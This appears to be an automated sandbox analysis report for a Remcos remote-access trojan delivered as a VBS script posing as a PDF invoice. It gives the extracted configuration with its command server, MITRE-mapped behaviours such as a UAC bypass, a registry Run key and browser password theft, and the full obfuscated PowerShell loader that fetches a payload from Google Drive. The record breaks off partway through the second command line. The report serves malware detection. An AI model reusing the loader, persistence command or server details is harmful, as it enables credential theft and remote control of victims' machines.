remcos | 473e499898c19aaffee3f27962c2395b36ade8e750f58f20d09c1e9e5bf2bfc2

Analysis

max time kernel
299s
max time network
294s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-11-2024 01:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

A1_racun_11-2024·pdf.vbs
Size

33KB
MD5

f504f2da583147ba689b230b21f1e8d3
SHA1

50db98c2c533c4b8d253e05341ce99245e6c9af2
SHA256

9f76359976c222dd3a0f75b05b171711f88f60105f2a285dacd3cd122fb56794
SHA512

8b2d7844ea1400316c79d0055039e977eed7336fe7f387c8c2931d8437cebbae3af75431d16c93eeffcdd45ffe1cdc8b3578afe8da008f386dd26eb106545b13
SSDEEP

768:VxCasOdkFIouoA9wVI5XULTNTNk3hEC9cjhZrE0XYfONFZqMVVasDwrqqX:HCasfILrxaOI/J8sDw2Q

Score

10^/10

remcos remotehost collection credential_access discovery evasion persistence rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

8766e34g8.duckdns.org:3782

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-93TSMD
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/2096-87-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4920-93-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3424-86-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/2096-87-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/3424-86-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
4	2536	WScript.exe
9	5032	powershell.exe
15	5032	powershell.exe
28	1980	msiexec.exe
30	1980	msiexec.exe
32	1980	msiexec.exe
35	1980	msiexec.exe
36	1980	msiexec.exe
51	1980	msiexec.exe
52	1980	msiexec.exe
53	1980	msiexec.exe
54	1980	msiexec.exe
56	1980	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

Processes:

Chrome.exeChrome.exemsedge.exemsedge.exemsedge.exemsedge.exeChrome.exemsedge.exeChrome.exe

pid	Process
3288	Chrome.exe
3516	Chrome.exe
332	msedge.exe
2684	msedge.exe
4328	msedge.exe
5052	msedge.exe
5088	Chrome.exe
64	msedge.exe
1356	Chrome.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Hybridt% -windowstyle 1 $Absi=(gp -Path 'HKCU:\\Software\\Mellemdistancevaaben\\').Slagsangene179;%Hybridt% ($Absi)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
8	drive.google.com
9	drive.google.com
28	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
1980	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
4600	powershell.exe
1980	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

msiexec.exe

description	pid	Process	procid_target
PID 1980 set thread context of 3424	1980	msiexec.exe	114
PID 1980 set thread context of 2096	1980	msiexec.exe	115
PID 1980 set thread context of 4920	1980	msiexec.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.execmd.exereg.execmd.exereg.exemsiexec.exemsiexec.exemsiexec.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

powershell.exepowershell.exe

pid	Process
5032	powershell.exe
4600	powershell.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Chrome.exemsedge.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exe

pid	Process
2220	reg.exe
760	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exemsiexec.exemsiexec.exemsiexec.exeChrome.exe

pid	Process
5032	powershell.exe
5032	powershell.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
3424	msiexec.exe
3424	msiexec.exe
4920	msiexec.exe
4920	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
3424	msiexec.exe
3424	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
5088	Chrome.exe
5088	Chrome.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
4600	powershell.exe
1980	msiexec.exe
1980	msiexec.exe
1980	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

Processes:

msedge.exe

pid	Process
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

powershell.exepowershell.exemsiexec.exeChrome.exe

description	pid	Process
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	4920	msiexec.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe
Token: SeShutdownPrivilege	5088	Chrome.exe
Token: SeCreatePagefilePrivilege	5088	Chrome.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Chrome.exemsedge.exe

pid	Process
5088	Chrome.exe
5088	Chrome.exe
332	msedge.exe
332	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid	Process
1980	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.execmd.exeChrome.exe

description	pid	Process	procid_target
PID 2536 wrote to memory of 5032	2536	WScript.exe	83
PID 2536 wrote to memory of 5032	2536	WScript.exe	83
PID 4600 wrote to memory of 1980	4600	powershell.exe	101
PID 4600 wrote to memory of 1980	4600	powershell.exe	101
PID 4600 wrote to memory of 1980	4600	powershell.exe	101
PID 4600 wrote to memory of 1980	4600	powershell.exe	101
PID 1980 wrote to memory of 2248	1980	msiexec.exe	102
PID 1980 wrote to memory of 2248	1980	msiexec.exe	102
PID 1980 wrote to memory of 2248	1980	msiexec.exe	102
PID 2248 wrote to memory of 2220	2248	cmd.exe	105
PID 2248 wrote to memory of 2220	2248	cmd.exe	105
PID 2248 wrote to memory of 2220	2248	cmd.exe	105
PID 1980 wrote to memory of 3828	1980	msiexec.exe	109
PID 1980 wrote to memory of 3828	1980	msiexec.exe	109
PID 1980 wrote to memory of 3828	1980	msiexec.exe	109
PID 3828 wrote to memory of 760	3828	cmd.exe	111
PID 3828 wrote to memory of 760	3828	cmd.exe	111
PID 3828 wrote to memory of 760	3828	cmd.exe	111
PID 1980 wrote to memory of 5088	1980	msiexec.exe	112
PID 1980 wrote to memory of 5088	1980	msiexec.exe	112
PID 5088 wrote to memory of 2204	5088	Chrome.exe	113
PID 5088 wrote to memory of 2204	5088	Chrome.exe	113
PID 1980 wrote to memory of 3424	1980	msiexec.exe	114
PID 1980 wrote to memory of 3424	1980	msiexec.exe	114
PID 1980 wrote to memory of 3424	1980	msiexec.exe	114
PID 1980 wrote to memory of 3424	1980	msiexec.exe	114
PID 1980 wrote to memory of 2096	1980	msiexec.exe	115
PID 1980 wrote to memory of 2096	1980	msiexec.exe	115
PID 1980 wrote to memory of 2096	1980	msiexec.exe	115
PID 1980 wrote to memory of 2096	1980	msiexec.exe	115
PID 1980 wrote to memory of 4920	1980	msiexec.exe	116
PID 1980 wrote to memory of 4920	1980	msiexec.exe	116
PID 1980 wrote to memory of 4920	1980	msiexec.exe	116
PID 1980 wrote to memory of 4920	1980	msiexec.exe	116
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118
PID 5088 wrote to memory of 5028	5088	Chrome.exe	118

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\A1_racun_11-2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Ultraoutrageous='Zircalloy';;$Velindrettedes='Semihobo';;$Varian='Sabbatsaftenerne';;$Shepherdises='Narkosernes';;$Skraldespand='Indsamlet';;$Untribally=$host.Name;function Skovsaven($availability){If ($Untribally) {$Subahship=4} for ($Undertruck154=$Subahship;;$Undertruck154+=5){if(!$availability[$Undertruck154]) { break }$Kolkhosen+=$availability[$Undertruck154]}$Kolkhosen}function Sanguisuge($Ggeungers){ .($Coaptate) ($Ggeungers)}$Blaring=Skovsaven 'MotoN MulE abtSade.BranwChieE Vi,bChalCWateL skaIBra eTan nE.spT';$Camoufleres=Skovsaven ' TooM Hjoo GenzH liiFlngl nyxlAgroa E o/';$Lagende=Skovsaven 'KontTh ndlAdipsAgua1 Joc2';$Aktivistdkning='Disk[Pr.cNFiliEEskotCrus.UnbeS riEEmerRReguVPresiSrgmcReecesn.lPDetioOms iEmbeNVe.iT Ovem DepaUnreNLovkABedqGOvere CatRPiez]Tu o:un a:Sly s.rafeBasic RekUUnlorTaffiBoltTBranyTwa P b,dr Af,oForhtM soOpaluCRebaOPolyL Pho=Duch$BilllCybeanondGRhabe PolnCallDMaleE';$Camoufleres+=Skovsaven 'Che 5 Euc.In a0 Fo, Cont(Kal WRageiFigunSabadRegioMuskwSpotsMixo Gl mN AfdT Res nt1 S j0Dame.Du.n0 Sny;Imag CoaxWSi,ai S anAare6Forv4F.rs;B ti Ho.xOchl6empa4Aa s; Und TiggrAtr v g a:Gle.1Hock3prus1 Ant.Ordr0 ind).ace .owwGBarkepasscS mikpsycoBly /Paes2Pebe0Ops,1S yr0 De.0Uvrd1Dige0Para1Cojo NautFKaraiTro,rAabeeCob f Pomo Horx qua/deli1Elas3Fdde1Grin. Cal0';$Zihar=Skovsaven 'HectUKlass PoresovrRVist-,owwAOpdaGSpokEFluknfillT';$Adias=Skovsaven 'Hi.th rettScyptsammpSpads.alv:Indt/Tseb/TrovdB tyrUncoi ymovGalreResp.,tragEpisoPytho tvngStrelDelte ipo.,ncocBreaoUnclmBost/ Ridu dagcStab? nale KroxRa mpRdm.oUr.srUnq tA or=FremdTvinoPleawPilonUnislV ndoPharaFooldpane&Bommi OdodTrol= ffe1TekssInc.V Ca 7Alvi_BillZ Arm8 SnoYBr v3NykokThal1 Xv.cSenty Psy2Pi kjReenBBund6 estf PtaaGinnSDrsadKarra akS He tTreeGOverJ ItiD irkfDigoE ors3B rd9 Sam8 Cacg';$prominence=Skovsaven 'Gara>';$Coaptate=Skovsaven 'RestiEjeneSvovX';$Foldningerne='Unsilly';$silicles='\Kathlin.Sta';Sanguisuge (Skovsaven 'Coun$UndeGH vdl DowODu ebSu ea ecilDisp:HypeaSh.aNU deTNeuri nazk,runVRuttiExtetCuireulritGen sSto,f ,omOcassrFlgeF Su ADe iLS ttSSt mKClainblaaIHidanItalG FemeForsRStre=R.gm$LerneSporNSemivK.dl:induaHarmPC emp ShiD D gaBesttD ejaGram+S lm$HalvSVildIL.geLForkiAleeCBla L Srne rfas');Sanguisuge (Skovsaven 'K nt$AntiGHalvLForsO KribDisla AveL mba:OutsP VaaOF enlBnknY n nMKalki PhyxDrmmIHjema ns=logi$ vaga,rdlD R lIf,gla .ntsUr d.Un osS lup urL elei nintFjle(Sh k$UndlPPop rPensOAu imBegyiLocuN AbseCr oNInsecPastE bl)');Sanguisuge (Skovsaven $Aktivistdkning);$Adias=$Polymixia[0];$Fiskedrtters=(Skovsaven 'Incr$Fo,dGSkrml arOUdmeB PlraVaskl Orp:TurbOFyldx.nfey Un,d GreEFornnOmbr= enN ceceG ujW kk-PotsO Ps.B CamJUncoEOverc Udkt ,nd HairSMyo yKa,psCoheTJen E RebmS or.t yr$reocboz nlPlexA anRReimIdimiNWhipG');Sanguisuge ($Fiskedrtters);Sanguisuge (Skovsaven 'Dial$F ktOCeraxAlwiyAdstdSa meBeskn Afl. De.HKa teEn,yaOaredDepoe,gesr PresTeos[ Sp $Ud fZTheriL,njhSpi aWhabrBite]P si=Mil $FagfCCineaStenmRefro alcuD stf Pedl LoueEnd rS.rieU.bus');$Maerker=Skovsaven 'Den $He,eOIn.axHypeyAlqudSugge agan Dea. vitDFrugoesopwTirenExtelSpi oRetiaAutod T gF,ntiiDerolA.sleEnkr(Into$Dio,A F,rd SeniA koaVanssStam,Oce $KandLEduce Hu.vSocreDialr ProiOv,rn ligFo nsDobbb ekle KantFo.ti iednOctogRdste BlulDr,asOcree Madr kat)';$Leveringsbetingelser=$Antikvitetsforfalskninger;Sanguisuge (Skovsaven 'Dyst$ ComgR seLke noAfviB DanaBridlLyst: UlvLledeATillcFilik LoaEuddaR n,ne PseRRepu=meto(Ove TPenueS imSAdapTUnv -VindPGuttA Bl,tPredhSt.i hrv$St eLbirde oggV SvuE Sp.R ortIAmmaNDiagG omSStyrbMidnE mprT.rcaIa.oln ,nrGFagbEOutpLTracSFin ES urr ola)');while (!$Lackerer) {Sanguisuge (Skovsaven 'isoz$Sel g uel Gr,oAerob alaThrel Pul:GldsGSee e Vinn iceHastvherae nrer or=Sac $SeggbGreel UdgyUn maIndknta dtR cisSkovsAa.ep ShaiUnbedPatcsKr,meHjorrBudseNo.rs') ;Sanguisuge $Maerker;Sanguisuge (Skovsaven 'Par SCyclTE keaantiRNonlTSiru- IllsUnidlHomoeAfleEC,anpUve For 4');Sanguisuge (Skovsaven ' Hje$ entg S al NedoGalaBPersaCapiL lie: agtl SeeaAvercS,ctKElecEGrderBollE T xR utt=Udkm(NaevTPendeEbdos TratHumm-UnbapAnabaFightPredhOrke Opdr$ orslgryleBespVAntiEPedir ReniG nfNPolygL keS rembO.teEOverTEmbaiBil NExpeGMisaeCicaL Tops RegEUnalrRy.t)') ;Sanguisuge (Skovsaven 'eneb$PejlGekstlTamaoP isbComma ohl Ref:SekoTWamerFrowRMadbeEnnePintrlFerrA.fgidEquisLnmoe ShoR ontSLiss=Eksp$ologgIltelSoluoEmisBGaleaUnd LM.si:Subem InaAGel Ltn,eFN khEiag ASp ns Graa MamNAlcytSkif+slap+Valu%Til.$aetopRet.oIl.iLBespYHvirmVurditab xSlu IKultARe.l. BasCRefrOgel UTry N dyrT') ;$Adias=$Polymixia[$Trrepladsers]}$Retranquilise=310647;$Tredvtedels=29480;Sanguisuge (Skovsaven 'Fast$Om,yg olkLFatiOSmrhb S.ia konlPer,: Unds GliY Netd VilF dgOrebar aighFlerASla efynsN hanG F.y Sau= U.l Fri.GSupeERailtAnap- lovc,ongo Span vert ndE Pa nTrastKrat T ds$RetslEntoeswedVFaste .emRSlidiRetsNddsyGTrims ,obbPengEUdhnTFrugiPin.N shpgSymbEHypel Rens ddaeophir');Sanguisuge (Skovsaven ' Acr$IchtgAlpel TaloMorbbProlaS,lllFin,: ChiDEfphe.mercVenteBaken Milnfor a TyprRhamyMedi A m=Afst Aff [LiggSbu.cy onosNyctt,ntie Be mS an.Mic CReino lumn DefvAlkoe Masr ilt Bj ] U,a:tyr,: DioF NovrBahroTalkmPyelBtranaZoo.sI reepaah6Mnni4Da sSEskatratirMeoaiRawen SpugValg( Inj$ArveS Pshy,perdCochfBl soPre,rStarh PhyaUnieeTillnboudg,upe)');Sanguisuge (Skovsaven 'Fami$ pinGSemil ubyOlycoBWorkaUn ol Vid:invaIQueeN idgTChonEAgg.rK dav CapAH peLalumg hasR .nvN ridspew.EPo.tNStan Rdgr=dis Affi[Di,eSCritYV resp gmtKonnE E iMBaad.Bud,T ragePalsXbullTHy e.ebelEBortNT,inC.illoS ndDSandi L nN nstgdece]Fari: Lep:Intra kaaS roocBibli,hipi S,u.SemigPhytE AskTNo bSSyneT.ultR yri ftaNt ldG Sau(Pant$ tedsy teEgg cParaeGr tNUndenV,ndaskriRluceyD,il)');Sanguisuge (Skovsaven 'Po,y$ Ke GB nilTom O S.gBKil,AFo bl.imi:SnirB eksLsyndU Ovee GonpC,inrS.rviSe vNTramTUn isLupi5surt0Grnt= Fl $ .iliOutwnTeaktnatiESnapr Laev BonA ullMo.vgClatRMedlnVedes AlkE ,tonskam.KartsJerquF atbPropSHopptC,oarfbliI StrNFaneGrabi(Posi$CocrRSkr E,evaTTilgRSkatADiskNJ,baQLin u,eciIMiljl alI rovSHygre unk,S.mb$Sek,TMa rr ,erEgullDImpoV llyTBelaeRun.dInsoESoapl T,nsAkti)');Sanguisuge $Blueprints50;"
  2⤵
  - Blocklisted process makes network request
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Ultraoutrageous='Zircalloy';;$Velindrettedes='Semihobo';;$Varian='Sabbatsaftenerne';;$Shepherdises='Narkosernes';;$Skraldespand='Indsamlet';;$Untribally=$host.Name;function Skovsaven($availability){If ($Untribally) {$Subahship=4} for ($Undertruck154=$Subahship;;$Undertruck154+=5){if(!$availability[$Undertruck154]) { break }$Kolkhosen+=$availability[$Undertruck154]}$Kolkhosen}function Sanguisuge($Ggeungers){ .($Coaptate) ($Ggeungers)}$Blaring=Skovsaven 'MotoN MulE abtSade.BranwChieE Vi,bChalCWateL skaIBra eTan nE.spT';$Camoufleres=Skovsaven ' TooM Hjoo GenzH liiFlngl nyxlAgroa E o/';$Lagende=Skovsaven 'KontTh ndlAdipsAgua1 Joc2';$Aktivistdkning='Disk[Pr.cNFiliEEskotCrus.UnbeS riEEmerRReguVPresiSrgmcReecesn.lPDetioOms iEmbeNVe.iT Ovem DepaUnreNLovkABedqGOvere CatRPiez]Tu o:un a:Sly s.rafeBasic RekUUnlorTaffiBoltTBranyTwa P b,dr Af,oForhtM soOpaluCRebaOPolyL Pho=Duch$BilllCybeanondGRhabe PolnCallDMaleE';$Camoufleres+=Skovsaven 'Che 5 Euc.In a0 Fo, Cont(Kal WRageiFigunSabadRegioMuskwSpotsMixo Gl mN AfdT Res nt1 S j0Dame.Du.n0 Sny;Imag CoaxWSi,ai S anAare6Forv4F.rs;B ti Ho.xOchl6empa4Aa s; Und TiggrAtr v g a:Gle.1Hock3prus1 Ant.Ordr0 ind).ace .owwGBarkepasscS mikpsycoBly /Paes2Pebe0Ops,1S yr0 De.0Uvrd1Dige0Para1Cojo NautFKaraiTro,rAabeeCob f Pomo Horx qua/deli1Elas3Fdde1Grin. Cal0';$Zihar=Skovsaven 'HectUKlass PoresovrRVist-,owwAOpdaGSpokEFluknfillT';$Adias=Skovsaven 'Hi.th rettScyptsammpSpads.alv:Indt/Tseb/TrovdB tyrUncoi ymovGalreResp.,tragEpisoPytho tvngStrelDelte ipo.,ncocBreaoUnclmBost/ Ridu dagcStab? nale KroxRa mpRdm.oUr.srUnq tA or=FremdTvinoPleawPilonUnislV ndoPharaFooldpane&Bommi OdodTrol= ffe1TekssInc.V Ca 7Alvi_BillZ Arm8 SnoYBr v3NykokThal1 Xv.cSenty Psy2Pi kjReenBBund6 estf PtaaGinnSDrsadKarra akS He tTreeGOverJ ItiD irkfDigoE ors3B rd9 Sam8 Cacg';$prominence=Skovsaven 'Gara>';$Coaptate=Skovsaven 'RestiEjeneSvovX';$Foldningerne='Unsilly';$silicles='\Kathlin.Sta';Sanguisuge (Skovsaven 'Coun$UndeGH vdl DowODu ebSu ea ecilDisp:HypeaSh.aNU deTNeuri nazk,runVRuttiExtetCuireulritGen sSto,f ,omOcassrFlgeF Su ADe iLS ttSSt mKClainblaaIHidanItalG FemeForsRStre=R.gm$LerneSporNSemivK.dl:induaHarmPC emp ShiD D gaBesttD ejaGram+S lm$HalvSVildIL.geLForkiAleeCBla L Srne rfas');Sanguisuge (Skovsaven 'K nt$AntiGHalvLForsO KribDisla AveL mba:OutsP VaaOF enlBnknY n nMKalki PhyxDrmmIHjema ns=logi$ vaga,rdlD R lIf,gla .ntsUr d.Un osS lup urL elei nintFjle(Sh k$UndlPPop rPensOAu imBegyiLocuN AbseCr oNInsecPastE bl)');Sanguisuge (Skovsaven $Aktivistdkning);$Adias=$Polymixia[0];$Fiskedrtters=(Skovsaven 'Incr$Fo,dGSkrml arOUdmeB PlraVaskl Orp:TurbOFyldx.nfey Un,d GreEFornnOmbr= enN ceceG ujW kk-PotsO Ps.B CamJUncoEOverc Udkt ,nd HairSMyo yKa,psCoheTJen E RebmS or.t yr$reocboz nlPlexA anRReimIdimiNWhipG');Sanguisuge ($Fiskedrtters);Sanguisuge (Skovsaven 'Dial$F ktOCeraxAlwiyAdstdSa meBeskn Afl. De.HKa teEn,yaOaredDepoe,gesr PresTeos[ Sp $Ud fZTheriL,njhSpi aWhabrBite]P si=Mil $FagfCCineaStenmRefro alcuD stf Pedl LoueEnd rS.rieU.bus');$Maerker=Skovsaven 'Den $He,eOIn.axHypeyAlqudSugge agan Dea. vitDFrugoesopwTirenExtelSpi oRetiaAutod T gF,ntiiDerolA.sleEnkr(Into$Dio,A F,rd SeniA koaVanssStam,Oce $KandLEduce Hu.vSocreDialr ProiOv,rn ligFo nsDobbb ekle KantFo.ti iednOctogRdste BlulDr,asOcree Madr kat)';$Leveringsbetingelser=$Antikvitetsforfalskninger;Sanguisuge (Skovsaven 'Dyst$ ComgR seLke noAfviB DanaBridlLyst: UlvLledeATillcFilik LoaEuddaR n,ne PseRRepu=meto(Ove TPenueS imSAdapTUnv -VindPGuttA Bl,tPredhSt.i hrv$St eLbirde oggV SvuE Sp.R ortIAmmaNDiagG omSStyrbMidnE mprT.rcaIa.oln ,nrGFagbEOutpLTracSFin ES urr ola)');while (!$Lackerer) {Sanguisuge (Skovsaven 'isoz$Sel g uel Gr,oAerob alaThrel Pul:GldsGSee e Vinn iceHastvherae nrer or=Sac 